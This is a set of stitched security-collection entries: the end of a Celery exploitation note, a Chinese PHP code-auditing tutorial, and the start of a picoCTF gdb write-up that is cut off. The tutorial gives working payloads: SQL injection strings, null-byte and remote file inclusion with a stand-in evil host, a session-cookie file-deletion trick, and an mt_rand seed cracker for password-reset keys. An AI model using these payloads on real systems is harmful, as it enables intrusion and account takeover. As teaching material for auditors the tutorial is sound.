
```bash
docker compose exec celery ls -l /tmp
```
可以看到成功创建了文件`celery_success`

## 参考
https://docs.celeryproject.org/en/stable/userguide/configuration.html
https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk
https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers
https://www.jianshu.com/p/52552c075bc0
https://www.runoob.com/w3cnote/python-redis-intro.html
https://blog.csdn.net/SKI_12/article/details/85015803
|
sec-knowleage
|
原文 by 80vul
## 高级PHP应用程序漏洞审核技术
### 前言
PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。
另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)
### 传统的代码审计技术
WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。
PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。
其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。
### PHP版本与应用代码审计
到目前为止,PHP主要有3个版本:php4、php5、php6,由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。
### 其他的因素与应用代码审计
很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。
所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。
### 扩展我们的字典
下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。
### 变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。
``` php
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
```
上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:
`key.php?<script>alert(1);</script>=1&bbb=2`
那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
### 变量覆盖
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:
### 遍历初始化变量
请看如下代码:
``` php
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
```
很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:
``` php
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
### parse_str()变量覆盖漏洞
``` php
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
```
该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:
``` php
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($_SERVER['QUERY_STRING']);
parse_str($a[$_GET['var']]);
print $var1;
```
上面的代码通过提交$var来实现对$var1的覆盖。
漏洞审计策略(parse_str)PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
漏洞审计策略(mb_parse_str)PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str
### import_request_variables()变量覆盖漏洞
``` php
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
```
漏洞审计策略(import_request_variables)PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables
### PHP5 Globals
从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:
``` php
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
```
但是很多的程序没有考虑到这点,请看如下代码:
``` php
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
```
如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行csrf攻击。
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
### magic_quotes_gpc与代码安全
#### 什么是magic_quotes_gpc
当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 :)
#### 哪些地方没有魔术引号的保护
1) $_SERVER变量
PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?
漏洞审计策略($_SERVER变量)PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER
2) getenv()得到的变量(使用类似$_SERVER变量)
漏洞审计策略(getenv())PHP版本要求:无
系统要求:无
审计策略:查找字符getenv
3) $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:
``` php
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
```
漏洞审计策略(数据流)PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input
4) 数据库操作容易忘记`'`的地方如:in()/limit/order by/group by
如Discuz!<5.0的pm.php:
``` php
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)
### 变量的编码与解码
一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。
这个类型的主要函数有:
1) stripslashes() 这个其实就是一个decode-addslashes()
2) 其他字符串转换函数:

另外一个 unserialize/serialize
3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:
`$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";`
当magic_quotes_gpc=on时,我们提交`?id=%2527`,得到sql语句为:
`SELECT * FROM article WHERE articleid='''`
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数
### 二次攻击
二次攻击者提交的恶意代码不是直接通过一个变量提交某个函数漏洞,而是通过变量转化或者中转,最终提交到漏洞函数
1)数据库出来的变量没有进行过滤
2)数据库的转义符号:
* mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数据库时,通过转义变为')
* mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义)
从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
魔术引号带来的新的安全问题首先我们看下魔术引号的处理机制:
[ \\-->\\\\, '-->\\' , "-->\\" , null-->\0 ]
这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:
1)得到原字符(',\\,",null])
提交 ' ==> 魔术引号处理 \' ==> substr '
``` php
$order_sn=substr($_GET['order_sn'], 1);
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' LIMIT 1";
```
2)得到"\\"字符
提交 ' ==> 魔术引号处理 \' ==> substr \
``` php
$order_sn=substr($_GET['order_sn'], 0,1);
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
```
提交内容:
`?order_sn='&order_tn=%20and%201=1/*`
执行的SQL语句为:
``` sql
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码
### 变量key与魔术引号
我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?
``` php
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
```
1)当magic_quotes_gpc = On时,在php5.24下测试显示:
```
aaaa\'aaa
bb\'b
```
从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:
``` php
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
```
结果显示:
`Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )`
数组第一维变量的key不受魔术引号的影响。
漏洞审计策略PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码
2)当magic_quotes_gpc = Off 时,在php5.24下测试显示:
```
aaaa'aaa
bb'b
```
对于magic_quotes_gpc = Off 时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes 等函数来实现魔术引号对变量的过滤,示例代码如下:
``` php
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}
function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
```
以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:
``` php
Array
(
[aaa'aa] => 1\'
)
aaa'aa
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
### 代码注射
PHP中可能导致代码注射的函数很多人都知道eval、preg_replace+/e 可以执行代码,但是不知道php还有很多的函数可以执行代码如:
assert() call_user_func() call_user_func_array() create_function() 变量函数...
这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:
``` php
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)
### 变量函数与双引号
对于单引号和双引号的区别,很多程序员深有体会,示例代码:
```
echo "$a\n";
echo '$a\n';
```
我们再看如下代码:
``` php
//how to exp this code
if($globals['bbc_email']){
$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
```
另外很多的应用程序都把变量用 " " 存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
### PHP自身函数漏洞及缺陷
#### PHP函数的溢出漏洞
大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:
`unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);`
在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。
漏洞审计策略PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名
#### PHP函数的其他漏洞
Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:
``` php
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
```
漏洞审计策略PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset
### session_destroy()删除文件漏洞
测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:
``` php
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
```
当我们提交构造`cookie:PHPSESSID=/../1.php`,相当于`unlink('sess_/../1.php')`这样就通过注射`../` 转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。
漏洞审计策略PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy
### 随机函数
1) rand() VS mt_rand()
``` php
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
```
可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。
``` php
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
```
当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:查找rand
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手册里的描述:
``` php
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )
```
用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。
例子 1. mt_srand() 范例
``` php
<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
```
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:
mt_srand ((double) microtime() * 1000000)
但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破解,测试代码如下:
``` php
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
```
从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下:
```
seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3
seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3
```
对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:
第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpress组合就存在这样的危险.
第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:
```
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1.
Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the
Mersenne Twister was changed and the forced bit removed.
```
在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多`2^32`次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:
``` php
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
```
通过上面的代码发现$a==$b,所以我们循环的次数为2^(32/2)=2^31次。我们看如下代码:
``` php
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1
$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }
if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
```
运行结果如下:
```
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
```
当10634次时候我们得到了结果。
当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:
``` php
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
```
正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。
从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。
很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)
漏洞审计策略PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand
### 特殊字符
其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:
#### 截断
其中最有名的数大家都熟悉的null字符截断。
#### include截断
``` php
<?php
include $_GET['action'].".php";
?>
```
提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“ action=http://www.hacksite.com/evil-code.txt? ” 这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:
``` php
<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
```
经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])
#### 数据截断
对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。
#### 1) Mysql SQL Column Truncation Vulnerabilities
这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:
``` php
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
```
#### 2) Mysql charset Truncation vulnerability
这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:
```
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
```
很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:
``` php
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
```
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:通读代码
#### 文件操作里的特殊字符
文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\\..\\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:
``` php
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
```
很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:
``` php
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
```
str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:
``` php
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>
```
我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。
漏洞审计策略PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数
#### 怎么进一步寻找新的字典
上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?
* 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典
* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
* fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
* 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)
* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
* 你有什么要补充的吗? :)
### 后话
本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!
### 附录
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114
|
sec-knowleage
|
# learn gdb
General Skills, 300 points
## Description:
> Using a debugging tool will be extremely useful on your missions. Can you run this program in gdb and find the flag?
Attached was a binary file.
## Solution:
Let's run the file:
```console
root@kali:/media/sf_CTFs/pico/learn_gdb# ./run
Decrypting the Flag into global variable 'flag_buf'
.....................................
Finished Reading Flag into global variable 'flag_buf'. Exiting.
```
Simple enough. Let's inspect it with a disassembler:
```assembly
root@kali:/media/sf_CTFs/pico/learn_gdb# r2 run
-- In visual mode press 'c' to toggle the cursor mode. Use tab to navigate
[0x00400690]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400690]> afl
0x004005c0 3 26 sym._init
0x004005f0 1 6 sym.imp.putchar
0x00400600 1 6 sym.imp.puts
0x00400610 1 6 sym.imp.__stack_chk_fail
0x00400620 1 6 sym.imp.__libc_start_main
0x00400630 1 6 sym.imp.strtol
0x00400640 1 6 sym.imp.malloc
0x00400650 1 6 sym.imp.setvbuf
0x00400660 1 6 sym.imp.exit
0x00400670 1 6 sym.imp.usleep
0x00400680 1 6 fcn.00400680
0x00400690 1 41 entry0
0x004006c0 4 50 -> 41 sym.deregister_tm_clones
0x00400700 4 58 -> 55 sym.register_tm_clones
0x00400740 3 28 sym.__do_global_dtors_aux
0x00400760 4 38 -> 35 entry1.init
0x00400786 11 323 sym.decrypt_flag
0x004008c9 1 82 sym.main
0x00400920 4 101 sym.__libc_csu_init
0x00400990 1 2 sym.__libc_csu_fini
0x00400994 1 9 sym._fini
[0x00400690]> s sym.main
[0x004008c9]> pdf
;-- main:
/ (fcn) sym.main 82
| sym.main (int argc, char **argv, char **envp);
| ; var int local_10h @ rbp-0x10
| ; var int local_4h @ rbp-0x4
| ; arg int argc @ rdi
| ; arg char **argv @ rsi
